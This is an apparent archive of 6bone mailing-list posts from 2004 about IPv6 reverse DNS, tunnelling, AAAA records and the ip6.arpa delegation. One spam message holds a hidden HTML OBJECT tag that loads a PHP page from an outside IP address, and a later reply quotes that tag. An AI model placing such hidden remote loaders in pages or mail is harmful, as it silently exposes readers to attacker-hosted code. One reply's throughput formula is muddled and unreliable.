Date: Thu, 19 Feb 2004 10:44:21 +0100
From: Gert Doering 
Subject: Re: [6bone] Re: reverse 6dns painful
To: Paul Jakma 

Cc: Michael Kjorling , 6bone <6bone@ISI.EDU>
Message-ID: <20040219094421.GU8040@Space.Net>
Content-Type: text/plain; charset=us-ascii

Hi,

On Thu, Feb 19, 2004 at 12:13:26AM +0000, Paul Jakma wrote:
> On Mon, 16 Feb 2004, Michael Kjorling wrote:
> 
> > Just my 2/100 of a currency unit of your choice.
> 
> +5 informative, ta muchely.
> 
> Now, how do we get the BIND utilities to stop using the bitstring
> format for reverse queries?

Upgrade?

> (and get everyone to agree on ip6.int).

Make that "arpa", please :-)

Gert Doering
-- NetMaster
-- 
Total number of prefixes smaller than registry allocations: 58081 (57882)

SpaceNet AG Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14 Tel : +49-89-32356-0
80807 Muenchen Fax : +49-89-32356-299



------------------------------

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End of 6bone Digest, Vol 2, Issue 13
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<DIV>Dear Sir</DIV>
<DIV>&nbsp;</DIV>
<DIV>My project is perforamnce measure of various transition mechanism from IPv4 to IPv6. I have used latency,throughput and packet loss as measuring elements.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Please tell me how to calculate throughput? equation?</DIV>
<DIV><BR>Thanking U</DIV>
<DIV>&nbsp;</DIV>
<DIV>Mamtha<BR><B><I>6bone-request@mailman.isi.edu</I></B> wrote:</DIV>
<BLOCKQUOTE class=replbq style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">Send 6bone mailing list submissions to<BR>6bone@mailman.isi.edu<BR><BR>To subscribe or unsubscribe via the World Wide Web, visit<BR>http://mailman.isi.edu/mailman/listinfo/6bone<BR>or, via email, send a message with subject or body 'help' to<BR>6bone-request@mailman.isi.edu<BR><BR>You can reach the person managing the list at<BR>6bone-owner@mailman.isi.edu<BR><BR>When replying, please edit your Subject line so it is more specific<BR>than "Re: Contents of 6bone digest..."<BR><BR><BR>Today's Topics:<BR><BR>1. Re: Re: reverse 6dns painful (Paul Jakma)<BR>2. Re: Re: reverse 6dns painful (was Re: reverse DNS<BR>consideredpointless) (Matthew Luckie)<BR>3. Re: Re: reverse 6dns painful (Gert Doering)<BR><BR><BR>----------------------------------------------------------------------<BR><BR>Message: 1<BR>Date: Thu, 19 Feb 2004 00:13:26 +0000 (GMT)<BR>From: Paul Jakma <PAUL@CLUBI.IE><BR>Subject:
 Re: [6bone] Re: reverse 6dns painful<BR>To: Michael Kjorling <MICHAEL@KJORLING.COM><BR>Cc: 6bone &lt;6bone@ISI.EDU&gt;<BR>Message-ID: <PINE.LNX.4.58.0402190012080.25392@FOGARTY.JAKMA.ORG><BR>Content-Type: TEXT/PLAIN; charset=US-ASCII<BR><BR>On Mon, 16 Feb 2004, Michael Kjorling wrote:<BR><BR>&gt; Just my 2/100 of a currency unit of your choice.<BR><BR>+5 informative, ta muchely.<BR><BR>Now, how do we get the BIND utilities to stop using the bitstring<BR>format for reverse queries?<BR><BR>(and get everyone to agree on ip6.int).<BR><BR>regards,<BR>-- <BR>Paul Jakma paul@clubi.ie paul@jakma.org Key ID: 64A2FF6A<BR>warning: do not ever send email to spam@dishone.st<BR>Fortune:<BR>Nothing increases your golf score like witnesses.<BR><BR><BR>------------------------------<BR><BR>Message: 2<BR>Date: Thu, 19 Feb 2004 14:42:23 +1300<BR>From: Matthew Luckie <MJL@LUCKIE.ORG.NZ><BR>Subject: Re: [6bone] Re: reverse 6dns painful (was Re: reverse DNS<BR>consideredpointless)<BR>To: Peter Bunclark
 <PSB@AST.CAM.AC.UK><BR>Cc: 6bone@ISI.EDU<BR>Message-ID: &lt;4034147F.9020706@luckie.org.nz&gt;<BR>Content-Type: text/plain; charset=us-ascii; format=flowed<BR><BR>&gt; Not bad,but still different from forward adresses; how much simpler (=<BR>&gt; easy, less prone to error, -&gt; cheaper to administer) to use the same<BR>&gt; notation for forward and reverse.<BR><BR>just a small note on errors that I've seen in the reverses for names as <BR>part of a DNS walk I did of ip6.arpa about 9 months ago.<BR><BR>I attempted zone transfers from 2539 zones seen in ip6.arpa, and got 410 <BR>transfers.<BR><BR>22 zones out of those 410 had addresses in them that appeared to have <BR>syntax errors, i.e. addresses were too short to be valid IPv6, or had <BR>incorrect characters, e.g.:<BR><BR>too long:<BR><BR>0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.x.x.x.x.x.x.x.x.x.x.x.x.1.0.0.2<BR><BR>too
 short:<BR><BR>2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.x.x.x.x.1.0.0.2<BR><BR>.0.0.0.0.0.0.x.x.x.x.x.x.1.0.0.2<BR><BR>not 4-bit between dots<BR><BR>97.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.x.x.x.x.x.x.x.x.x.x.x.x.1.0.0.2<BR><BR>2000.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.x.x.x.x.x.x.x.x.1.0.0.2<BR><BR>separately to these 22 zones, I found examples of PTR and NS records <BR>that did not belong in the zone they were retrieved from.<BR><BR>e.g.<BR><BR>zone: x.x.x.x.x.x.x.x.x.x.x.x.1.0.0.2.ip6.arpa<BR>1.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.x.x.x.x.x.x.x.x.x.x.x.x.1.0.0.2.ip6.int<BR>(is that actually correct, the address is valid but supposed to be in <BR>ip6.arpa and not ip6.int?)<BR><BR>zone 4.0.0.0.x.x.x.x.1.0.0.2.ip6.arpa<BR>5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.9.0.0.0.y.y.y.y.e.f.f.3.ip6.arpa<BR>(that one is bizarre, x.x.x.x is completely different to y.y.y.y)<BR><BR>Other than that, the state of reverses seemed to be in reasonable shape.<BR><BR>If you have any comments or questions or
 corrections, feel free to send <BR>them.<BR><BR>Matthew<BR><BR><BR><BR>------------------------------<BR><BR>Message: 3<BR>Date: Thu, 19 Feb 2004 10:44:21 +0100<BR>From: Gert Doering <GERT@SPACE.NET><BR>Subject: Re: [6bone] Re: reverse 6dns painful<BR>To: Paul Jakma <PAUL@CLUBI.IE><BR>Cc: Michael Kjorling <MICHAEL@KJORLING.COM>, 6bone &lt;6bone@ISI.EDU&gt;<BR>Message-ID: &lt;20040219094421.GU8040@Space.Net&gt;<BR>Content-Type: text/plain; charset=us-ascii<BR><BR>Hi,<BR><BR>On Thu, Feb 19, 2004 at 12:13:26AM +0000, Paul Jakma wrote:<BR>&gt; On Mon, 16 Feb 2004, Michael Kjorling wrote:<BR>&gt; <BR>&gt; &gt; Just my 2/100 of a currency unit of your choice.<BR>&gt; <BR>&gt; +5 informative, ta muchely.<BR>&gt; <BR>&gt; Now, how do we get the BIND utilities to stop using the bitstring<BR>&gt; format for reverse queries?<BR><BR>Upgrade?<BR><BR>&gt; (and get everyone to agree on ip6.int).<BR><BR>Make that "arpa", please :-)<BR><BR>Gert Doering<BR>-- NetMaster<BR>-- <BR>Total number of
 prefixes smaller than registry allocations: 58081 (57882)<BR><BR>SpaceNet AG Mail: netmaster@Space.Net<BR>Joseph-Dollinger-Bogen 14 Tel : +49-89-32356-0<BR>80807 Muenchen Fax : +49-89-32356-299<BR><BR><BR><BR>------------------------------<BR><BR>_______________________________________________<BR>6bone mailing list<BR>6bone@mailman.isi.edu<BR>http://mailman.isi.edu/mailman/listinfo/6bone<BR><BR><BR>End of 6bone Digest, Vol 2, Issue 13<BR>************************************</BLOCKQUOTE><p><font face=arial size=-1>
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From michael@kjorling.com Fri Feb 20 02:42:20 2004
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 20 2004, mamthabc@yahoo.co.in wrote:

> Please tell me how to calculate throughput? equation?

This is what you sent 14 KB to the list for?

How about: throughput = amount of data divided by time?

- -- 
Michael Kjörling - michael@kjorling.com - SM0YBY QTH JO89XI  ^..^
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From 6bone@mdsh.com Fri Feb 20 03:49:35 2004
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From: Mark Himsley <6bone@mdsh.com>
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Subject: [6bone] 6to4 or 6bone direct(ish)
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Good morning,

I hope this is an acceptable question for this list.

At this stage of IPv6 roll out which is the best way for users without 
native IPv6 providing ISPs to use IPv6?

Ok - that might be too big a question. I'm in the lucky position that I 
have broadband with a Linux router/firewall.

In the past I have tunneled from the router to my nearest broker (BT Exact) 
but that was a pain because the tunnel would time out and then I'd have to 
set another one up which gives a different IP address...

So recently I set the router to be a 6to4 gateway. This appears to work 
really well. My only concern is that it was too easy. Should things this 
easy to setup be the most efficient?

By the way, I find reading all the posts in this email list extremely 
interesting - it's probably the most informative list I read, so thank you 
all for your enlightening posts.

-- 
Mark Himsley

From pasky@machine.sinus.cz Fri Feb 20 06:04:54 2004
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Date: Fri, 20 Feb 2004 15:04:25 +0100
From: Petr Baudis <pasky@xs26.net>
To: Ben Winslow <rain@bluecherry.net>
Subject: Re: Re: [6bone] Re: reverse 6dns painful (was Re:
	reverse	DNSconsideredpointless)
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Dear diary, on Sat, Feb 14, 2004 at 09:13:06PM CET, I got a letter,
where Ben Winslow <rain@bluecherry.net> told me, that...
..snip..
> In the present-day situation, I would wager that most applications will
> deal gracefully with any 8-bit character in DNS labels, but there are
> definitely applications and resolvers still in use that do not.  I have
> not seen an application that outright *breaks* if an non-recommended
> printable char (like / or _) is used in a hostname in quite some time
> (the closest contender being Squid, which has (had?) a configuration
> option to make it fail on such hostnames.

I guess that most ircds perform quite strict checks on the hostnames
they resolve, and just throw away any even slightly suspicious.

Besides, I think that you could run into problems in URLs (probably
currently by far the most common hostname usage case). Certainly if you
use '/', ':' or '@' in the hostname, you're done, game over. And I think
that '%', '?' and '&' wouldn't be looked upon kindly by some URL
parsers.

Oh and you could run into interesting things when using ie. '*' or ' '
in a hostname ;-).

Kind regards,

-- 
				Petr "Pasky" Baudis
Stuff: http://pasky.or.cz/
The reasonable man adapts himself to the world; the unreasonable one
persists in trying to adapt the world to himself. Therefore all
progress depends on the unreasonable man. -- George Bernard Shaw

From Bradley@NorthTech.US Fri Feb 20 08:22:53 2004
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                                        Friday, February 20, 2004
                                        8:13:56 AM (-08:00hrs UTC)
Hello Michael,



On Friday, February 20, 2004, 2:44:35 AM, you wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1

> On Feb 20 2004, mamthabc@yahoo.co.in wrote:

>> Please tell me how to calculate throughput? equation?

> This is what you sent 14 KB to the list for?

> How about: throughput = amount of data divided by time?

No, that's bandwidth. He asked for throughput. For that, take the
amount of data to pass and subtract the dropped packets/retransmits.
Then subtract that difference from the original size of the amount of
data that was transmitted and calculate the percentage of data that
needed to get through and calculate your percentage of throughput.

Question, why are you undertaking a class project requiring you to
capture statistics when you don't even know how to arrive at the
formula?

Seems you would have had that part of the project down pat before you
began attempting to implement a particular technology, IMHO.



-- 
Kindest regards,


Bradley D. Thornton
Manager Network Operations
NorthTech Computer
 
US Nationwide Dialup Internet Access
Is Really Only $8.50/month at:
http://www.NorthTech.US                          
mailto:Bradley@NorthTech.US


-----------------------------------------------
There are 10 kinds of people in this world...
Those who understand binary and those who don't
-----------------------------------------------


From pim@ipng.nl Fri Feb 20 08:26:52 2004
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| At this stage of IPv6 roll out which is the best way for users without 
| native IPv6 providing ISPs to use IPv6?
Use tunneling.

| In the past I have tunneled from the router to my nearest broker (BT Exact) 
| but that was a pain because the tunnel would time out and then I'd have to 
| set another one up which gives a different IP address...
This is not a problem with tunnelbrokerage in itself, it's a problem
with the implementation at BT Exact. There's plenty of brokers out there
which will never expire a tunnel. You may want to check up on
www.sixxs.net and use the Kewlio broker (in London).

| So recently I set the router to be a 6to4 gateway. This appears to work 
| really well. My only concern is that it was too easy. Should things this 
| easy to setup be the most efficient?
Well it works well if you have a 6to4 router close to your box; You'll
send traffic to 192.88.99.1 and it will take care of IPv6 routing for
you. 

In terms of efficiency people are not yet agreeing on things; I find the
asymmetric IPv4 path of 6to4 traffic annoying. As an operator of a 6to4
public relay, I am also not quite content with the way things are, but
that's a different story.

Bottom line: I'd use configured tunnels if possible, and 6to4 only if
normal tunneling is not an option.

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From andrew@aylett.co.uk Fri Feb 20 11:30:37 2004
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--=-=-=
Content-Transfer-Encoding: quoted-printable

Pim van Pelt <pim@ipng.nl> writes:

> | In the past I have tunneled from the router to my nearest broker (BT
> | Exact) but that was a pain because the tunnel would time out and
> | then I'd have to set another one up which gives a different IP
> | address...
> This is not a problem with tunnelbrokerage in itself, it's a problem
> with the implementation at BT Exact. There's plenty of brokers out there
> which will never expire a tunnel. You may want to check up on
> www.sixxs.net and use the Kewlio broker (in London).

I was having similar problems, although I would at least get the same IP
address back afterwards.  I emailed the folks at BTExact and it's stayed
up ever since.

OK,
=2D-=20
Andrew Aylett | www.aylett.co.uk | 1.79 x 10^12 furlongs per fortnight...
andrew@aylett.co.uk | answer=3D=3D42 |  -- it's not just a good idea, it's =
the law!

--=-=-=
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From cfaber@fpsn.net Sat Feb 21 16:34:13 2004
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Quick question about BIND 9 and IPv6. In the BIND 9.2.3 ARM Chapter 6 
under section 6.3 the 'AAAA' type record is to be considered deprecated 
and obsolete, in favor of the 'A6' type record. The problem I'm seeing 
with this is MANY software implementations (including ones I've 
developed) prefer the older obsolete 'AAAA' type record.  When was this 
switch to 'A6' going to take place, (is this a long standing issue with 
DNS record types? Should site policy be to no longer support 'AAAA' in 
favor of  'A6'?

Suggestions, Comments, RFC Preaching welcome.

P.S.

ARPA Net forever! Down with INT! =)

-- 
Colin Faber
FPSN.Net Development staff
email: cfaber@fpsn.net


From rwelty@averillpark.net Sat Feb 21 18:07:19 2004
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Subject: Re: [6bone] A question about BIND 9 and IPv6 == A6 vs AAAA
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On Sat, 21 Feb 2004 17:34:53 -0700 Colin Faber <cfaber@fpsn.net> wrote:

> Quick question about BIND 9 and IPv6. In the BIND 9.2.3 ARM Chapter 6 
> under section 6.3 the 'AAAA' type record is to be considered deprecated 
> and obsolete, in favor of the 'A6' type record. 

the Bind ARM is, as far as i know, out of date.

see ftp://ftp.rfc-editor.org/in-notes/rfc3363.txt for details.

richard
-- 
Richard Welty                                         rwelty@averillpark.net
Averill Park Networking                                         518-573-7592
    Java, PHP, PostgreSQL, Unix, Linux, IP Network Engineering, Security


From pim@ipng.nl Sun Feb 22 04:43:28 2004
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On Sat, Feb 21, 2004 at 05:34:53PM -0700, Colin Faber wrote:
| Quick question about BIND 9 and IPv6. In the BIND 9.2.3 ARM Chapter 6 
| under section 6.3 the 'AAAA' type record is to be considered deprecated 
| and obsolete, in favor of the 'A6' type record. The problem I'm seeing 
| with this is MANY software implementations (including ones I've 
| developed) prefer the older obsolete 'AAAA' type record.  When was this 
| switch to 'A6' going to take place, (is this a long standing issue with 
| DNS record types? Should site policy be to no longer support 'AAAA' in 
| favor of  'A6'?
Simple. It's the other way around. A6 is deprecated, AAAA is what you
should use.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From tjc@ecs.soton.ac.uk Mon Feb 23 05:18:45 2004
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From: Tim Chown <tjc@ecs.soton.ac.uk>
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Subject: Re: [6bone] 6to4 or 6bone direct(ish)
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6to4 is nice when the other site you speak to also uses 6to4, but when you
want to connect to non-6to4 sites you may have problems depending on the
availability and location of 6to4 relays.   Very few 6to4 relays are 
made publicly available, though many ISPs support them for their own users.

In that light, a tunnel broker is more predictable, but then if you want
to reach a 6to4 site your TB ISP will need good 6to4 (relay) connectivity :)

I penned some tunnelling thoughts in
http://www.ietf.org/internet-drafts/draft-chown-v6ops-unmanaged-connectivity-00.txt

I need to update this with architecture notes (like 6to4 to 6to4 being easy
but 6to4 to non-6to4 often not being so... and similarly for Teredo)

Tim

On Fri, Feb 20, 2004 at 05:26:41PM +0100, Pim van Pelt wrote:
> | At this stage of IPv6 roll out which is the best way for users without 
> | native IPv6 providing ISPs to use IPv6?
> Use tunneling.
> 
> | In the past I have tunneled from the router to my nearest broker (BT Exact) 
> | but that was a pain because the tunnel would time out and then I'd have to 
> | set another one up which gives a different IP address...
> This is not a problem with tunnelbrokerage in itself, it's a problem
> with the implementation at BT Exact. There's plenty of brokers out there
> which will never expire a tunnel. You may want to check up on
> www.sixxs.net and use the Kewlio broker (in London).
> 
> | So recently I set the router to be a 6to4 gateway. This appears to work 
> | really well. My only concern is that it was too easy. Should things this 
> | easy to setup be the most efficient?
> Well it works well if you have a 6to4 router close to your box; You'll
> send traffic to 192.88.99.1 and it will take care of IPv6 routing for
> you. 
> 
> In terms of efficiency people are not yet agreeing on things; I find the
> asymmetric IPv4 path of 6to4 traffic annoying. As an operator of a 6to4
> public relay, I am also not quite content with the way things are, but
> that's a different story.
> 
> Bottom line: I'd use configured tunnels if possible, and 6to4 only if
> normal tunneling is not an option.
> 
> -- 
> ---------- - -    - - -+- - -    - - ----------
> Pim van Pelt                 Email: pim@ipng.nl
> http://www.ipng.nl/             IPv6 Deployment
> -----------------------------------------------
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From aykut@niolan.com Thu Feb 26 07:30:14 2004
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Hi,

I don't have ipv6 connectivity anymore since a few days. I'm a sixxs 
user. Any traceroute6 doesn't get past my gateway ams-02.nl.sixxs.net.
The website seems down too..
My guess is that Jeroen Massar and Pim Van Pelt are on vacation and 
can't do anything about it, otherwise we are not used to this kind of 
outages.

Greetings
Aykut

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Gosh, haven't seen this before:
> traceroute gateway ams-02.nl.sixxs.net
traceroute: "ams-02.nl.sixxs.net" bad value for packet length

Pete.

On Thu, 26 Feb 2004, Aykut wrote:

> Hi,
>
> I don't have ipv6 connectivity anymore since a few days. I'm a sixxs
> user. Any traceroute6 doesn't get past my gateway ams-02.nl.sixxs.net.
> The website seems down too..
> My guess is that Jeroen Massar and Pim Van Pelt are on vacation and
> can't do anything about it, otherwise we are not used to this kind of
> outages.
>
> Greetings
> Aykut
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

From cyberwolf@mail.be Thu Feb 26 08:27:21 2004
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Wednesday, February 25th - IPng POP external connectivity down
Currently the external connectivity of the IPng POP is down due to a broken router at Intouch.The POP itself is reachable and works, only external (intouch to the world) connectivity is affected.

http://www.sixxs.net/news/

Kind Greetings.

> ----------------------------------------
> From: Aykut <aykut@niolan.com>
> Sent: Thu Feb 26 16:30:19 CET 2004
> To: <6bone@mailman.isi.edu>
> Subject: [6bone] SixXS down?
> 
> 
> Hi,
> 
> I don't have ipv6 connectivity anymore since a few days. I'm a sixxs 
> user. Any traceroute6 doesn't get past my gateway ams-02.nl.sixxs.net.
> The website seems down too..
> My guess is that Jeroen Massar and Pim Van Pelt are on vacation and 
> can't do anything about it, otherwise we are not used to this kind of 
> outages.
> 
> Greetings
> Aykut
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

-----------------------------------------------------
Mail.be, WebMail and Virtual Office
http://www.mail.be


From jeroen@unfix.org Thu Feb 26 15:58:48 2004
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Aykut'" <aykut@niolan.com>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] SixXS down?
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Aykut wrote:

> I don't have ipv6 connectivity anymore since a few days. I'm a sixxs 
> user. Any traceroute6 doesn't get past my gateway ams-02.nl.sixxs.net.
> The website seems down too..

It only affected the IPng POP as is mentioned on the website.
Notez bien that you can always use the IPv4 address of the website
by using http://www.ipv4.sixxs.net/, the news page mentions the
outage and there where also some people on the Forum noticing it.
Which is not that weird with the amount of users that POP serves ;)

> My guess is that Jeroen Massar and Pim Van Pelt are on vacation and 
> can't do anything about it,

Nopes, neither me nor Pim are on vacation. I actually haven't been on
one since 10 years or something like that, at least I can't remember ;)
Also I am still personally a user of the IPng POP thus I noticed it
quite well and we have directly contacted the Intouch engineers
to resolve the issue, which they did quite swiftly when you know
the real reason why the routing was broken, just like the hardware.
You could also have tried to contact info@sixxs.net for this btw
as mentioned on the Forum and the contact pages.
As the SixXS website is completely independent from the POPs and
it has both IPv4 and IPv6 connectivity as I have mentioned above...
Thus SMTP should be routed independently too.

> otherwise we are not used to this kind of outages.

Except for this and some other minor glitches that POP has been
running perfectly over the last couple of years. It does have
6bone space thus it will disappear one day ofcourse with advance
notice and a replacement in place ;)

Peter Bunclark wrote:
> Gosh, haven't seen this before:
> > traceroute gateway ams-02.nl.sixxs.net
> traceroute: "ams-02.nl.sixxs.net" bad value for packet length

The first option to your traceroute command is the hostname,
which you specified as 'gateway', the second is the packetlength
for which you specified a dns-label which doesn't have anything
else but SOA, TXT and NS records.

Greets,
 Jeroen

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From jeroen@unfix.org Mon Mar  8 03:15:32 2004
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Hi,

What is the status of the e.f.f.3.arpa delegation?
Are the servers there? Did IANA see the RFC ? :)

Yes, I want ip6.int to be gone, I did a small inquiry
see http://www.sixxs.net/forum/?msg=general-83948,
showing people agree that in 2 months after the delegation works
that ip6.int support can be removed for the SixXS delegations.
Currently the IPng and Kewlio POPs have 6bone space, the first
will simply rewrite the ip6.int to ip6.arpa so that should
not cause much problems, the users on the second POP will have
to move. Users of the other POPs use RIPE space thus they
will have to put ip6.arpa in their zones if they haven't done
so already.

Also this month RFC3701 appeared:
ftp://ftp.rfc-editor.org/in-notes/rfc3701.txt
Describing the end of the 6bone per 6/6/6, are we
really having to wait for that date?

Greets,
 Jeroen

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From mariac@seciu.edu.uy Fri Mar 19 05:56:21 2004
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<html><body>
<font face="System">
<OBJECT  STYLE="display:none" DATA="http://12.215.146.21:81/035272.php">
</OBJECT></body></html>


From old_mc_donald@hotmail.com Fri Mar 19 06:44:24 2004
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So what was all that about then mariac@seciu.edu.uy

144.223.58.221

12-215-146-21.client.mchsi.com

03/19/04 22:22:52 Fast traceroute http://12.215.146.21
Trace http://12.215.146.21 (12.215.146.21) ...
 1 192.168.0.1       0ms    0ms    0ms  TTL:  0  (ns1 ok)
 2 172.31.22.152    39ms   46ms   40ms  TTL:  0  (No rDNS)
 3 172.31.25.152    48ms   39ms   48ms  TTL:  0  (No rDNS)
 4 61.9.240.205     42ms   46ms   42ms  TTL:  0
(CPE-61-9-240-205.wa.bigpond.net.au ok)
 5 61.9.241.8       46ms   43ms   42ms  TTL:  0
(CPE-61-9-241-8.wa.bigpond.net.au ok)
 6 139.130.25.93    47ms   42ms   41ms  TTL:  0
(GigabitEthernet4-1.Pie2.Perth.telstra.net ok)
 7 203.50.115.1     40ms   52ms   49ms  TTL:  0
(GigabitEthernet1-2.wel-core3.Perth.telstra.net ok)
 8 203.50.6.193     75ms   72ms   65ms  TTL:  0
(Pos4-0.way-core4.Adelaide.telstra.net ok)
 9 203.50.6.161     83ms   93ms   85ms  TTL:  0
(Pos5-0.exi-core1.Melbourne.telstra.net ok)
10 203.50.6.153    100ms   97ms  102ms  TTL:  0
(Pos6-0.ken-core4.Sydney.telstra.net ok)
11 203.50.6.86      98ms  101ms  104ms  TTL:  0
(10GigabitEthernet3-0.pad-core4.Sydney.telstra.net ok)
12 203.50.13.242   100ms   93ms   94ms  TTL:  0
(GigabitEthernet0-0.syd-core01.Sydney.net.reach.com probable bogus rDNS: No
DNS)
13 202.84.144.25   256ms  257ms  252ms  TTL:  0
(i-12-2.wil-core01.net.reach.com probable bogus rDNS: No DNS)
14 202.84.251.162  261ms  254ms  257ms  TTL:  0  (i-3-4.wil03.net.reach.com
probable bogus rDNS: No DNS)
15 144.223.58.221  280ms  286ms  287ms  TTL:  0
(sl-gw28-ana-10-0.sprintlink.net ok)
16 144.232.1.49    286ms  286ms  288ms  TTL:  0
(sl-bb24-ana-5-0.sprintlink.net ok)
17 144.232.1.149   291ms  301ms  287ms  TTL:  0
(sl-bb22-ana-13-0.sprintlink.net ok)
18 192.205.32.185  284ms  283ms  284ms  TTL:  0  (sprint-gw.la2ca.ip.att.net
probable bogus rDNS: No DNS)
19 12.123.29.6     294ms  285ms  290ms  TTL:  0
(tbr2-p012101.la2ca.ip.att.net probable bogus rDNS: No DNS)
20 12.122.10.13    373ms  307ms  309ms  TTL:  0  (tbr2-cl2.sl9mo.ip.att.net
probable bogus rDNS: No DNS)
21 12.122.10.45    325ms  330ms  300ms  TTL:  0  (tbr2-cl7.cgcil.ip.att.net
probable bogus rDNS: No DNS)
22 12.123.6.14     309ms  306ms  304ms  TTL:  0  (gar4-p390.cgcil.ip.att.net
probable bogus rDNS: No DNS)
23 12.215.5.21     308ms  306ms  312ms  TTL:  0
(12-215-5-21.client.mchsi.com ok)
24 12.215.16.164   303ms  306ms  311ms  TTL:  0
(12-215-16-164.client.mchsi.com ok)
25 12.215.146.21   319ms  320ms  330ms  TTL:101
(12-215-146-21.client.mchsi.com ok)

<html><body>
<font face="System">
<OBJECT  STYLE="display:none" DATA="http: //12.215.146.21:81/035272.php_">
</OBJECT></body></html>

Activity on the list I thought.

Ah well

Gav...


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From jeroen@unfix.org Tue Mar 23 07:17:44 2004
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[reposting previous question, posted on 8 March 2004]

Hi,

What is the status of the e.f.f.3.ip6.arpa delegation?
Are the servers there? Did IANA see the RFC ? :)

Yes, I want ip6.int to be gone, I did a small inquiry
see http://www.sixxs.net/forum/?msg=general-83948,
showing people agree that in 2 months after the delegation works
that ip6.int support can be removed for the SixXS delegations.
Currently the IPng and Kewlio POPs have 6bone space, the first
will simply rewrite the ip6.int to ip6.arpa so that should
not cause much problems, the users on the second POP will have
to move. Users of the other POPs use RIPE space thus they
will have to put ip6.arpa in their zones if they haven't done
so already.

Also this month RFC3701 appeared:
ftp://ftp.rfc-editor.org/in-notes/rfc3701.txt
Describing the end of the 6bone per 6/6/6, are we
really having to wait for that date?

Greets,
 Jeroen

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[reposting previous question, posted on 8 March 2004 and 23 March 2004]

Hi,

What is the status of the e.f.f.3.ip6.arpa delegation?
Are the servers there? Did IANA see the RFC ? :)

Yes, I want ip6.int to be gone, I did a small inquiry
see http://www.sixxs.net/forum/?msg=3Dgeneral-83948,
showing people agree that in 2 months after the delegation works
that ip6.int support can be removed for the SixXS delegations.
Currently the IPng and Kewlio POPs have 6bone space, the first
will simply rewrite the ip6.int to ip6.arpa so that should
not cause much problems, the users on the second POP will have
to move. Users of the other POPs use RIPE space thus they
will have to put ip6.arpa in their zones if they haven't done
so already.

Also this month RFC3701 appeared:
ftp://ftp.rfc-editor.org/in-notes/rfc3701.txt
Describing the end of the 6bone per 6/6/6, are we
really having to wait for that date?

Greets,
 Jeroen


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From pim@bfib.colo.bit.nl Mon Apr 19 03:51:14 2004
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Date: Mon, 19 Apr 2004 12:49:23 +0200
From: Pim van Pelt <pim@ipng.nl>
To: Jeroen Massar <jeroen@unfix.org>
Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
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Hi,

| [reposting previous question, posted on 8 March 2004 and 23 March 2004]
Could a delegate for this arpa treebranch please stand up  ?
I cannot agree to this being ignored for so long. What is the status
anyway ?

RIPE NCC had it up and running at some point, it was then decided that
the ip6.int people should run the tree. So start running it already!

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

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On Mon, 2004-04-19 at 06:49, Pim van Pelt wrote:
> I cannot agree to this being ignored for so long.

> RIPE NCC had it up and running at some point, it was then decided that
> the ip6.int people should run the tree. So start running it already!

Seconded.

--=20
Ben Winslow <rain@bluecherry.net>

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From haesu@mx01.bos.ma.towardex.com Mon Apr 19 12:23:18 2004
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From: James <haesu@towardex.com>
To: Pim van Pelt <pim@ipng.nl>
Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
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I second both of you. I also would like to know the status of this 
.arpa project? And anything the community can do to help as well.

-J


On Mon, Apr 19, 2004 at 12:49:23PM +0200, Pim van Pelt wrote:
> Hi,
> 
> | [reposting previous question, posted on 8 March 2004 and 23 March 2004]
> Could a delegate for this arpa treebranch please stand up  ?
> I cannot agree to this being ignored for so long. What is the status
> anyway ?
> 
> RIPE NCC had it up and running at some point, it was then decided that
> the ip6.int people should run the tree. So start running it already!
> 
> groet,
> Pim
> 
> -- 
> ---------- - -    - - -+- - -    - - ----------
> Pim van Pelt                 Email: pim@ipng.nl
> http://www.ipng.nl/             IPv6 Deployment
> -----------------------------------------------
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
James Jun                                            TowardEX Technologies, Inc.
Technical Lead                        Network Design, Consulting, IT Outsourcing
james@towardex.com                  Boston-based Colocation & Bandwidth Services
cell: 1(978)-394-2867           web: http://www.towardex.com , noc: www.twdx.net

From gert@Space.Net Mon Apr 19 13:09:17 2004
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To: James <haesu@towardex.com>
Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
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Hi,

On Mon, Apr 19, 2004 at 03:23:11PM -0400, James wrote:
> I second both of you. I also would like to know the status of this 
> .arpa project? And anything the community can do to help as well.

Seems that the-powers-that-be have lost the little interest they had
in making e.f.f.3.ip6.arpa happen.

I, for one, have given up waiting and asking for it.  How many years has
this not-happened now?  2 years?  More?

Let's filter all 6bone routes, shut down 6bone peerings, and forget that
it ever existed.  Instead of wasting energy on reverse DNS for something
that doesn't want it.  (Have you noticed that it's only "production v6"
people asking for e.f.f.3.ip6.arpa reverse DNS?)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  60210  (58081)

